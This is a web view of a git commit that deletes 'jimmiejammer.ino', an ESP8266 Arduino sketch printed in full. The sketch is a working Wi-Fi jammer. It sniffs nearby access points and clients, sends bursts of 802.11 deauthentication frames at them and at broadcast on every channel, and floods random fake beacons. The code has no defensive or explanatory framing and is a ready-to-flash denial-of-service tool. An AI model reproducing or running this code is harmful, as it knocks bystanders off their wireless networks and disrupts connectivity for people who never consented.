summaryrefslogtreecommitdiff
path: root/jimmiejammer.ino
diff options
context:
space:
mode:
Diffstat (limited to 'jimmiejammer.ino')
-rw-r--r--jimmiejammer.ino495
1 files changed, 0 insertions, 495 deletions
diff --git a/jimmiejammer.ino b/jimmiejammer.ino
deleted file mode 100644
index f5470fe..0000000
--- a/jimmiejammer.ino
+++ /dev/null
@@ -1,495 +0,0 @@
-// based on RandDruid/esp8266-deauth (MIT) https://github.com/RandDruid/esp8266-deauth
-// inspired by kripthor/WiFiBeaconJam (no license) https://github.com/kripthor/WiFiBeaconJam
-// requires SDK v1.3: install esp8266/Arduino from git and checkout commit 1c5751460b7988041fdc80e0f28a31464cdf97a3
-
-// Expose Espressif SDK functionality
-extern "C" {
-#include "user_interface.h"
- typedef void (*freedom_outside_cb_t)(uint8 status);
- int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
- void wifi_unregister_send_pkt_freedom_cb(void);
- int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
-}
-
-#include <ESP8266WiFi.h>
-
-#define ETH_MAC_LEN 6
-#define MAX_APS_TRACKED 100
-#define MAX_CLIENTS_TRACKED 200
-
-// Channel to perform deauth
-uint8_t channel = 0;
-
-// Packet buffer
-uint8_t packet_buffer[64];
-
-// DeAuth template
-uint8_t template_da[26] = {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x6a, 0x01, 0x00};
-
-// beacon template
-uint8_t template_beacon[128] = { 0x80, 0x00, 0x00, 0x00,
- /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
- /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
- /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
- /*22*/ 0xc0, 0x6c,
- /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
- /*32*/ 0x64, 0x00,
- /*34*/ 0x01, 0x04,
- /* SSID */
- /*36*/ 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
- 0x01, 0x08, 0x82, 0x84,
- 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01,
- /*56*/ 0x04};
-
-uint8_t broadcast1[3] = { 0x01, 0x00, 0x5e };
-uint8_t broadcast2[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
-uint8_t broadcast3[3] = { 0x33, 0x33, 0x00 };
-
-// character map
-String charmap = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_";
-
-struct beaconinfo
-{
- uint8_t bssid[ETH_MAC_LEN];
- uint8_t ssid[33];
- int ssid_len;
- int channel;
- int err;
- signed rssi;
- uint8_t capa[2];
-};
-
-struct clientinfo
-{
- uint8_t bssid[ETH_MAC_LEN];
- uint8_t station[ETH_MAC_LEN];
- uint8_t ap[ETH_MAC_LEN];
- int channel;
- int err;
- signed rssi;
- uint16_t seq_n;
-};
-
-beaconinfo aps_known[MAX_APS_TRACKED]; // Array to save MACs of known APs
-int aps_known_count = 0; // Number of known APs
-int nothing_new = 0;
-clientinfo clients_known[MAX_CLIENTS_TRACKED]; // Array to save MACs of known CLIENTs
-int clients_known_count = 0; // Number of known CLIENTs
-
-struct beaconinfo parse_beacon(uint8_t *frame, uint16_t framelen, signed rssi)
-{
- struct beaconinfo bi;
- bi.ssid_len = 0;
- bi.channel = 0;
- bi.err = 0;
- bi.rssi = rssi;
- int pos = 36;
-
- if (frame[pos] == 0x00) {
- while (pos < framelen) {
- switch (frame[pos]) {
- case 0x00: //SSID
- bi.ssid_len = (int) frame[pos + 1];
- if (bi.ssid_len == 0) {
- memset(bi.ssid, '\x00', 33);
- break;
- }
- if (bi.ssid_len < 0) {
- bi.err = -1;
- break;
- }
- if (bi.ssid_len > 32) {
- bi.err = -2;
- break;
- }
- memset(bi.ssid, '\x00', 33);
- memcpy(bi.ssid, frame + pos + 2, bi.ssid_len);
- bi.err = 0; // before was error??
- break;
- case 0x03: //Channel
- bi.channel = (int) frame[pos + 2];
- pos = -1;
- break;
- default:
- break;
- }
- if (pos < 0) break;
- pos += (int) frame[pos + 1] + 2;
- }
- } else {
- bi.err = -3;
- }
-
- bi.capa[0] = frame[34];
- bi.capa[1] = frame[35];
- memcpy(bi.bssid, frame + 10, ETH_MAC_LEN);
-
- return bi;
-}
-
-struct clientinfo parse_data(uint8_t *frame, uint16_t framelen, signed rssi, unsigned channel)
-{
- struct clientinfo ci;
- ci.channel = channel;
- ci.err = 0;
- ci.rssi = rssi;
- int pos = 36;
- uint8_t *bssid;
- uint8_t *station;
- uint8_t *ap;
- uint8_t ds;
-
- ds = frame[1] & 3; //Set first 6 bits to 0
- switch (ds) {
- // p[1] - xxxx xx00 => NoDS p[4]-DST p[10]-SRC p[16]-BSS
- case 0:
- bssid = frame + 16;
- station = frame + 10;
- ap = frame + 4;
- break;
- // p[1] - xxxx xx01 => ToDS p[4]-BSS p[10]-SRC p[16]-DST
- case 1:
- bssid = frame + 4;
- station = frame + 10;
- ap = frame + 16;
- break;
- // p[1] - xxxx xx10 => FromDS p[4]-DST p[10]-BSS p[16]-SRC
- case 2:
- bssid = frame + 10;
- // hack - don't know why it works like this...
- if (memcmp(frame + 4, broadcast1, 3) || memcmp(frame + 4, broadcast2, 3) || memcmp(frame + 4, broadcast3, 3)) {
- station = frame + 16;
- ap = frame + 4;
- } else {
- station = frame + 4;
- ap = frame + 16;
- }
- break;
- // p[1] - xxxx xx11 => WDS p[4]-RCV p[10]-TRM p[16]-DST p[26]-SRC
- case 3:
- bssid = frame + 10;
- station = frame + 4;
- ap = frame + 4;
- break;
- }
-
- memcpy(ci.station, station, ETH_MAC_LEN);
- memcpy(ci.bssid, bssid, ETH_MAC_LEN);
- memcpy(ci.ap, ap, ETH_MAC_LEN);
-
- ci.seq_n = frame[23] * 0xFF + (frame[22] & 0xF0);
-
- return ci;
-}
-
-int register_beacon(beaconinfo beacon)
-{
- int known = 0; // Clear known flag
- for (int u = 0; u < aps_known_count; u++)
- {
- if (! memcmp(aps_known[u].bssid, beacon.bssid, ETH_MAC_LEN)) {
- known = 1;
- break;
- } // AP known => Set known flag
- }
- if (! known) // AP is NEW, copy MAC to array and return it
- {
- memcpy(&aps_known[aps_known_count], &beacon, sizeof(beacon));
- aps_known_count++;
-
- if ((unsigned int) aps_known_count >=
- sizeof (aps_known) / sizeof (aps_known[0]) ) {
- Serial.printf("exceeded max aps_known\n");
- aps_known_count = 0;
- }
- }
- return known;
-}
-
-int register_client(clientinfo ci)
-{
- int known = 0; // Clear known flag
- for (int u = 0; u < clients_known_count; u++)
- {
- if (! memcmp(clients_known[u].station, ci.station, ETH_MAC_LEN)) {
- known = 1;
- break;
- }
- }
- if (! known)
- {
- memcpy(&clients_known[clients_known_count], &ci, sizeof(ci));
- clients_known_count++;
-
- if ((unsigned int) clients_known_count >=
- sizeof (clients_known) / sizeof (clients_known[0]) ) {
- Serial.printf("exceeded max clients_known\n");
- clients_known_count = 0;
- }
- }
- return known;
-}
-
-void print_beacon(beaconinfo beacon)
-{
- if (beacon.err != 0) {
- //Serial.printf("BEACON ERR: (%d) ", beacon.err);
- } else {
- Serial.printf("BEACON: [%32s] ", beacon.ssid);
- for (int i = 0; i < 6; i++) Serial.printf("%02x", beacon.bssid[i]);
- Serial.printf(" %2d", beacon.channel);
- Serial.printf(" %4d\r\n", beacon.rssi);
- }
-}
-
-void print_client(clientinfo ci)
-{
- int u = 0;
- int known = 0; // Clear known flag
- if (ci.err != 0) {
- } else {
- Serial.printf("CLIENT: ");
- for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.station[i]);
- Serial.printf(" works with: ");
- for (u = 0; u < aps_known_count; u++)
- {
- if (! memcmp(aps_known[u].bssid, ci.bssid, ETH_MAC_LEN)) {
- Serial.printf("[%32s]", aps_known[u].ssid);
- known = 1;
- break;
- } // AP known => Set known flag
- }
- if (! known) {
- Serial.printf("%22s", " ");
- for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.bssid[i]);
- }
-
- Serial.printf("%5s", " ");
- for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.ap[i]);
- Serial.printf("%5s", " ");
-
- if (! known) {
- Serial.printf(" %3d", ci.channel);
- } else {
- Serial.printf(" %3d", aps_known[u].channel);
- }
- Serial.printf(" %4d\r\n", ci.rssi);
- }
-}
-
-/* ==============================================
- Promiscous callback structures, see ESP manual
- ============================================== */
-
-struct RxControl {
- signed rssi: 8;
- unsigned rate: 4;
- unsigned is_group: 1;
- unsigned: 1;
- unsigned sig_mode: 2;
- unsigned legacy_length: 12;
- unsigned damatch0: 1;
- unsigned damatch1: 1;
- unsigned bssidmatch0: 1;
- unsigned bssidmatch1: 1;
- unsigned MCS: 7;
- unsigned CWB: 1;
- unsigned HT_length: 16;
- unsigned Smoothing: 1;
- unsigned Not_Sounding: 1;
- unsigned: 1;
- unsigned Aggregation: 1;
- unsigned STBC: 2;
- unsigned FEC_CODING: 1;
- unsigned SGI: 1;
- unsigned rxend_state: 8;
- unsigned ampdu_cnt: 8;
- unsigned channel: 4;
- unsigned: 12;
-};
-
-struct LenSeq {
- uint16_t length;
- uint16_t seq;
- uint8_t address3[6];
-};
-
-struct sniffer_buf {
- struct RxControl rx_ctrl;
- uint8_t buf[36];
- uint16_t cnt;
- struct LenSeq lenseq[1];
-};
-
-struct sniffer_buf2 {
- struct RxControl rx_ctrl;
- uint8_t buf[112];
- uint16_t cnt;
- uint16_t len;
-};
-
-
-/* Creates a deauthentication packet.
-
- buf - reference to the data array to write packet to;
- client - MAC address of the client;
- ap - MAC address of the acces point;
- seq - sequence number of 802.11 packet;
-
- Returns: size of the packet
-*/
-uint16_t create_packet(uint8_t *buf, uint8_t *c, uint8_t *ap, uint16_t seq)
-{
- int i = 0;
-
- memcpy(buf, template_da, 26);
- // Destination
- memcpy(buf + 4, c, ETH_MAC_LEN);
- // Sender
- memcpy(buf + 10, ap, ETH_MAC_LEN);
- // BSS
- memcpy(buf + 16, ap, ETH_MAC_LEN);
- // Seq_n
- buf[22] = seq % 0xFF;
- buf[23] = seq / 0xFF;
-
- return 26;
-}
-
-/* Creates a randomized beacon packet.
-
- chann - beacon channel
-
- Returns: size of the packet
-*/
-uint16_t create_random_beacon(uint8_t chann)
-{
- template_beacon[10] = template_beacon[16] = random(0xFF);
- template_beacon[11] = template_beacon[17] = random(0xFF);
- template_beacon[12] = template_beacon[18] = random(0xFF);
- template_beacon[13] = template_beacon[19] = random(0xFF);
- template_beacon[14] = template_beacon[20] = random(0xFF);
- template_beacon[15] = template_beacon[21] = random(0xFF);
-
- template_beacon[38] = charmap[random(65)];
- template_beacon[39] = charmap[random(65)];
- template_beacon[40] = charmap[random(65)];
- template_beacon[41] = charmap[random(65)];
- template_beacon[42] = charmap[random(65)];
- template_beacon[43] = charmap[random(65)];
-
- template_beacon[56] = chann;
-
- return 57;
-}
-
-/* Sends deauth packets. */
-void deauth(uint8_t *c, uint8_t *ap, uint16_t seq)
-{
- uint8_t i = 0;
- uint16_t sz = 0;
- for (i = 0; i < 0x10; i++) {
- sz = create_packet(packet_buffer, c, ap, seq + 0x10 * i);
- wifi_send_pkt_freedom(packet_buffer, sz, 0);
- delay(1);
- }
-}
-
-void random_beacon(uint8_t chann)
-{
- uint16_t sz = create_random_beacon(chann);
- wifi_send_pkt_freedom(template_beacon, sz, 0);
- delay(1);
-}
-
-void promisc_cb(uint8_t *buf, uint16_t len)
-{
- int i = 0;
- uint16_t seq_n_new = 0;
- if (len == 12) {
- struct RxControl *sniffer = (struct RxControl*) buf;
- } else if (len == 128) {
- struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
- struct beaconinfo beacon = parse_beacon(sniffer->buf, 112, sniffer->rx_ctrl.rssi);
- if (register_beacon(beacon) == 0) {
- print_beacon(beacon);
- nothing_new = 0;
- }
- } else {
- struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
- //Is data or QOS?
- if ((sniffer->buf[0] == 0x08) || (sniffer->buf[0] == 0x88)) {
- struct clientinfo ci = parse_data(sniffer->buf, 36, sniffer->rx_ctrl.rssi, sniffer->rx_ctrl.channel);
- if (memcmp(ci.bssid, ci.station, ETH_MAC_LEN)) {
- if (register_client(ci) == 0) {
- print_client(ci);
- nothing_new = 0;
- }
- }
- }
- }
-}
-
-void setup() {
- Serial.begin(115200);
- Serial.printf("\n\nSDK version:%s\n", system_get_sdk_version());
-
- // Promiscuous works only with station mode
- wifi_set_opmode(STATION_MODE);
-
- // Set up promiscuous callback
- wifi_set_channel(1);
- wifi_promiscuous_enable(0);
- wifi_set_promiscuous_rx_cb(promisc_cb);
- wifi_promiscuous_enable(1);
-}
-
-void loop() {
- while (true) {
-
- channel = 1;
- wifi_set_channel(channel);
- while (true) {
- nothing_new++;
- if (nothing_new > 200) {
- nothing_new = 0;
-
- wifi_promiscuous_enable(0);
- wifi_set_promiscuous_rx_cb(0);
- wifi_promiscuous_enable(1);
-
- for (int ua = 0; ua < aps_known_count; ua++) {
- if (aps_known[ua].channel == channel) {
- for (int uc = 0; uc < clients_known_count; uc++) {
- if (! memcmp(aps_known[ua].bssid, clients_known[uc].bssid, ETH_MAC_LEN)) {
- Serial.print("DeAuth to ---->");
- print_client(clients_known[uc]);
- deauth(clients_known[uc].station, clients_known[uc].bssid, clients_known[uc].seq_n);
- break;
- }
- }
- deauth(broadcast2, aps_known[ua].bssid, 128);
- }
- }
- wifi_promiscuous_enable(0);
- wifi_set_promiscuous_rx_cb(promisc_cb);
- wifi_promiscuous_enable(1);
-
- channel++;
- if (channel == 15) break;
- wifi_set_channel(channel);
- }
-
- random_beacon(channel);
-
- delay(1);
-
- if ((Serial.available() > 0) && (Serial.read() == '\n')) {
- Serial.println("\n-------------------------------------------------------------------------\n");
- for (int u = 0; u < aps_known_count; u++) print_beacon(aps_known[u]);
- for (int u = 0; u < clients_known_count; u++) print_client(clients_known[u]);
- Serial.println("\n-------------------------------------------------------------------------\n");
- }
- }
- }
-}
generated by cgit v1.3.1 (git 2.54.0) at 2026-08-02 01:37:12 +0000